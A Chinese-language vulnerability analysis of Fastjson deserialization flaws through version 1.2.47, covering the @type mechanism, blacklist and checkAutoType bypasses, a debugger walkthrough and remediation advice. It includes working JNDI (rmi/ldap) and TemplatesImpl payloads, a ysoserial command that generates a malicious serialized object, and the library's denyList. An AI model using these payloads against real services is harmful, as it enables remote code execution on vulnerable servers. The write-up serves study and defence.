下文来自网络,未整理

    前言

    Fastjson是一个Java语言编写的高性能功能完善的JSON库。它采用一种“假定有序快速匹配”的算法,把JSON Parse的性能提升到极致,是目前Java语言中最快的JSON库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。

    第一版

    fastjson版本:1.2.22-1.2.24

    这些版本的fastjson未对@type中加载进的类进行过滤,导致的这一版漏洞。(后面有具体调试,以基于rmi+远程加载类的POC为例)

    针对的类是JdbcRowSetImpl类和特殊类TemplatesImpl。由于jdk版本的一些限制,需要使用多种姿势绕过,但是关于fastjson的基础原理都是一样的。

    POC有以下几种:

    基于rmi+远程加载类

    基于ldap+远程加载类

    基于rmi+BeanFactory类

    基于ldap+jndi

    基于特殊类

    基于rmi+远程加载类

    payload

    {“@type”:”com.sun.rowset.JdbcRowSetImpl”,”dataSourceName”:”rmi://localhost:1099/Exploit”,”autoCommit”:true}

    将rmi服务中的Exploit绑定于https://XXX/Exploit.class(远程类)

    使用JSON.parse(),执行结果如下

    在JDK 6u132, JDK 7u122, JDK 8u113 中,Java限制了Naming服务中JNDI Reference远程加载Object Factory类的特性。

    对于系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false。

    由于我的jdk版本是1.8.0_221,因此需要System.setProperty(“com.sun.jndi.rmi.object.trustURLCodebase”, “true”);。假定服务端将com.sun.jndi.rmi.object.trustURLCodebase手动设为true是不现实的,因此该方法可利用面较小。

    基于ldap+远程加载类

    payload

    {“@type”:”com.sun.rowset.JdbcRowSetImpl”,”dataSourceName”:”ldap://localhost:389/Exploit”, “autoCommit”:true}

    将ldap服务中的Exploit绑定于https://XXX/Exploit.class(远程类)

    使用JSON.parse(),执行结果如下

    与rmi+远程加载类原理一样,只不过使用了ldap服务替代rmi服务,利用范围更广一些。

    在JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,取消了ldap远程加载Object Factory类的特性。

    较高版本的jdk中,需要System.setProperty(“com.sun.jndi.ldap.object.trustURLCodebase”, “true”);。

    基于rmi+BeanFactory

    由于高版本jdk对rmi服务禁用了远程加载类的特性,因此我们可以从本地类入手,比如BeanFactory类。

    BeanFactory类特征如下

    存在于tomcat依赖包中

    存在getObjectInstance()方法

    getObjectInstance()方法加载其他类并实例化

    getObjectInstance()方法可将加载类中的setXXX函数强制转换为加载类中的其他函数并调用

    javax.el.ELProcessor类特征

    构造函数无需传值(默认构造函数)

    类中含有可造成代码执行的函数eval,且输入类型为String

    public Object eval(String expression) {

    return getValue(expression, Object.class);

    }

    Reference工厂类的要求如下

    存在于客户端(靶机)的本地

    至少存在一个 getObjectInstance() 方法

    实现 javax.naming.spi.ObjectFactory 接口

    BeanFactory类刚好满足Reference工厂类的要求,且可实例化其他类,因此可利用。

    以下是从BeanFactory.java的getObjectInstance()方法中提取出来的比较关键的java语句,结合payload比较好理解。

    执行结果如下

    在JDK 11.0.1、8u191、7u201、6u211之后有效。该利用方式只能利用靶机本地的类,该类存在于tomcat的依赖包,因此前提是靶机建立在tomcat上。jdk较高版本禁用rmi远程加载类,该方法调用靶机含有的本地类,因此可适应较高jdk版本。

    基于ldap+jndi

    高版本jdk对ldap服务远程加载类的特性作了限制,但是除了JNDI Reference,ldap服务还可以对加入的 javaSerializedData数据进行反序列化。

    使用以下命令生成base64编码的恶意序列化数据

    java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 ‘open /Applications/Calculator.app’|base64

    在上述的ldap服务端中加入

    String evilString=”rO0ABXNyABFqYXZhLn…..”;e.addAttribute(“javaSerializedData”,Base64.decode(evilString));

    基于特殊类

    @type赋值为该类com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,无需使用rmi或ldap远程加载类,因此对jdk版本无限制。

    @type加载进该类,设置变量_outputproperties和_bytecodes。

    在fastjson解析时,由于存在_outputproperties变量,会去调用getOutputProperties方法。之后会调试解释。

    该方法里面会将_bytecodesbase64解码后的类加载并实例化。_bytecodes也可控,因此造成代码执行。

    payload

    “{\”@type\”:\”” + NASTY_CLASS + “\”,\”_bytecodes\”:[\””+evilCode+”\”],’_tfactory’:{ },\”_outputProperties\”:{ },\”allowedProtocols\”:\”all\”}”

    问题:

    为什么Test类中要继承AbstractTranslet,为什么需要重写transform两个方法。transform方法一个是两个参数,一个是三个参数。

    以下为造成远程命令执行的关键代码,意思是将_bytecodesbase64解码后的类加载进来并实例化。可以看到代码将实例化后的对象强制转化为AbstractTranslet类型。为了使得程序不出错,我们需要在Test类中继承AbstractTranslet。

    AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

    而AbstractTranslet是一个抽象类,抽象类中有一个抽象方法,如下所示:

    public abstract void transform(DOM document, DTMAxisIterator iterator,SerializationHandler handler)throws TransletException;

    子类必须重写抽象父类的抽象方法。

    所以Test类必须重写AbstractTranslet类的transform方法(三个输入参数)。

    而AbstractTranslet类继承于Translet类。Translet是一个接口类,AbstractTranslet类是一个抽象类。

    抽象类不必实现接口的所有方法,但是普通类必须实现接口的所有方法。

    Test类是普通类,继承于AbstractTranslet类,AbstractTranslet类继承于Translet接口,因此Test类继承于Translet接口。

    AbstractTranslet类实现了Translet接口类中的所有方法,除了以下这个方法。(两个参数)

    public void transform(DOM document, SerializationHandler[] handlers)throws TransletException;

    而Test类是一个普通类,需要实现Translet接口的所有方法。因此Test类需要实现AbstractTranslet类中未实现的Translet接口里的方法。即上述transform方法(两个输入参数)。

    调试分析

    fastjson在处理@type形式的类的时候,会默认调用该类的set/get/is函数。

    所以可利用的@type加载类的条件是:

    成员变量可控,且值可传入某些敏感函数

    含有某个变量对应的set/get/is方法且方法中含有敏感函数

    以JdbcRowSetImpl类为例,就是将json数据中的”autoCommit”:true读入。fastjson解析时,调用了JdbcRowSetImpl类的setAutoCommit方法,该方法调用了lookup函数。而lookup函数的输入参数为dataSourceName成员变量,在json数据中可控。

    在parse处下断点调试。

    问:什么样的变量会被加载类方法?

    经调试知,是在以下语句执行时,完成了fieldList的赋值。

    ObjectDeserializer deserializer = config.getDeserializer(clazz);

    关键在于其中的JavaBeanInfo.java。

    会建立一个fieldList对象,存储每个满足一定条件的field对象。filed对象包含

    变量名

    所在类

    对应set/get方法

    方法返回类型所在类

    方法参数类型所在类

    field = set/get的方法名去掉set/get,并将第一个字母小写

    field的set或get方法应满足以下条件

    set方法具体特征:

    length大于等于4

    if (methodName.length() < 4) { continue; }

    不是static类型

    if (Modifier.isStatic(method.getModifiers())) { continue; }

    函数返回值类型为void类型或者不等于所在类的类型

    if (!(method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) { continue; }

    函数参数有且只有一个

    Class<?>[] types = method.getParameterTypes(); if (types.length != 1) { continue; }

    函数名为set开头

    javaif (!methodName.startsWith(“set”)) { // TODO “set”的判断放在 JSONField 注解后面,意思是允许非 setter 方法标记 JSONField 注解? continue;}

    get方法具体特征:

    length大于等于4

    if (methodName.length() < 4) { continue;}

    不是static类型

    if (Modifier.isStatic(method.getModifiers())) { continue;}

    以get开头,第四个字母为大写

    if (methodName.startsWith(“get”) && Character.isUpperCase(methodName.charAt(3))) { if (method.getParameterTypes().length != 0) { continue; }

    其实是满足一定条件的set/get方法(上述)所对应的变量会被加载到fieldList中。

    最终JdbcRowSetImpl类的fieldList加载了以下变量:

    matchColumn、autoCommit、command、dataSourceName、url、username、password、type

    问:上一问得到的fieldList里的变量所对应的方法中哪些会被调用?

    经调试知,是在以下语句执行时,调用了部分变量的set/get方法,从而造成远程代码执行。

    return deserializer.deserialze(this, clazz, fieldName);

    关键在JavaBeanDeserializer.java的deserialze方法

    上一问得到的filedList会根据变量名进行排名得到sortedFieldDeserializers,其中有autoCommit、command等。

    以下是JdbcRowSetImpl类的成员变量,当在json数据中时会被自动读取。

    sortedFieldDeserializers会被for循环遍历每一个field对象,不同的field对象对应的变量名根据不同的特征到不同的代码分支。

    如果sortedFieldDeserializers中的变量名在json数据中存在,则会进入

    else {fieldDeser.setValue(object, fieldValue);}

    进入FieldDeserializer.java的setValue方法。

    fieldInfo = sortedFieldDeserializers[i]

    要想调用到方法(即使用了method.invoke)

    fieldInfo中的method必须存在

    如果是只有get方法,且返回类型满足一定条件(比如Map.class.isAssignableFrom(method.getReturnType()),则进入某个分支进行进行invoke调用

    那么method为setXXX方法,进行invoke调用

    个人结论

    在json数据中

    成员变量的值会被加载到object变量中

    变量具有set方法或者只有get方法且返回类型满足一定条件,该set/get方法会被调用

    set/get方法的具体条件见第一问

    所以可以寻找以下特征的变量

    1. set方法中含有敏感函数(如JdbcRowSetImpl类的setAutoCommit
    2. get方法中含有敏感函数,且只实现了get方法,且返回类型满足一定条件,条件见第一问(如TemplatesImpl类的getOutputProperties

    No.4

    第二版

    到fastjson 1.2.25版本的时候,再去执行上述代码,会出现以下报错

    在ParserConfig类的checkAutoType方法中,如果类名以黑名单denyList中的字符串开头,则抛出错误

    for (int i = 0; i < denyList.length; ++i) { String deny = denyList[i]; if (className.startsWith(deny)) { throw new JSONException(“autoType is not support. “ + typeName); }}

    denyList是黑名单,由于com.sun.rowset.JdbcRowSetImpl以com.sun开头,所以className.startsWith(deny)为true。fastjson数据中的@type的值不能以黑名单上的字符串开头,因此抛出错误。

    denyList如下所示:

    private String[] denyList = “bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework”.split(“,”);

    除了绕过黑名单上的类的方法,大佬们还想出了另外一种方法。

    使用Lcom.sun.rowset.JdbcRowSetImpl;,可绕过checkAutoType的检测,又可执行loadClass。

    由于输入的类以L开头;结尾,去掉前后两个字符之后直接执行loadClass,绕过了checkAutoType。

    更新了的checkAutoType方法中:

    autoTypeSupport默认是false。

    acceptList没有赋值。

    跳到了checkAutoType的最后,!autoTypeSupport为true,因此无法loadClass。

    if (!autoTypeSupport) { throw new JSONException(“autoType is not support. “ + typeName);}

    No.5

    第三版

    版本:fastjson1.2.47及其之前

    由于调用loadClass方法时,cache恒为true,导致恶意类不通过@type加载进,却put进HashMap,躲过了checkAutoType的检测。

    在第二次解析时,通过@type加载进恶意类,checkAutoType方法会从HashMap中读取相应类并返回,也躲过了checkAutoType的检测。

    调试分析

    当执行JSON.parse(payload_2)时,chekAutoType方法里,以下语句会返回Class com.sun.rowset.JdbcRowSetImpl。

    if (clazz == null) { clazz = TypeUtils.getClassFromMapping(typeName);}

    因此在checkAutoType方法中会进入该分支,并且由于expectClass为null,会运行到return clazz。

    因此执行checkAutoType方法时不会抛出异常。

    if (clazz != null) {

    if (expectClass != null

    1. && clazz != java.util.HashMap.class
    2. && !expectClass.isAssignableFrom(clazz)) {

    throw new JSONException(“type not match. “ + typeName + “ -> “ + expectClass.getName());

    }

    return clazz;

    }

    而当删去JSON.parse(payload),仅执行JSON.parse(payload_2)时,以下语句的返回结果为null。

    if (clazz == null) { clazz = TypeUtils.getClassFromMapping(typeName);}

    因此还是会抛出异常。

    if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {

    throw new JSONException(“autoType is not support. “ + typeName);}

    clazz = TypeUtils.getClassFromMapping(typeName);的用途是

    从mappings中根据typename即com.sun.rowset.JdbcRowSetImpl,返回对应的类对象。

    所以当加与不加JSON.parse(payload)的结果就是mappings里有没有com.sun.rowset.JdbcRowSetImpl。

    这得具体调试JSON.parse(payload)。

    JSON.parse(payload)中的@type中的java.lang.Class会调用TypeUtils.java中的loadClass方法。

    在loadClass方法中搜索mappings.put,将三个都打上断点,总有一个是对的…

    再每个断点分别设立条件,直到className等于com.sun.rowset.JdbcRowSetImpl才可跳到这三个断点的某一个。

    跳到了这个断点,因此与cache的值有关。

    由于调用loadClass时,cache的值恒为true,因此造成了将恶意类读入缓存HashMap。

    return loadClass(className, classLoader, true);

    个人结论

    绕过

    绕过checkAutoType方法

    绕过黑名单

    利用类

    拥有set或get方法(具体特征见第一版中的调试分析)

    set或get方法里能调用 实例化/lookup/eval等敏感函数

    实例化/lookup/eval等敏感函数的内容可控(即内容为某个成员变量的值)

    No.6

    修复建议

    1. 禁止fastjson数据中使用@type
      2. 升级fastjson版本至少到1.2.61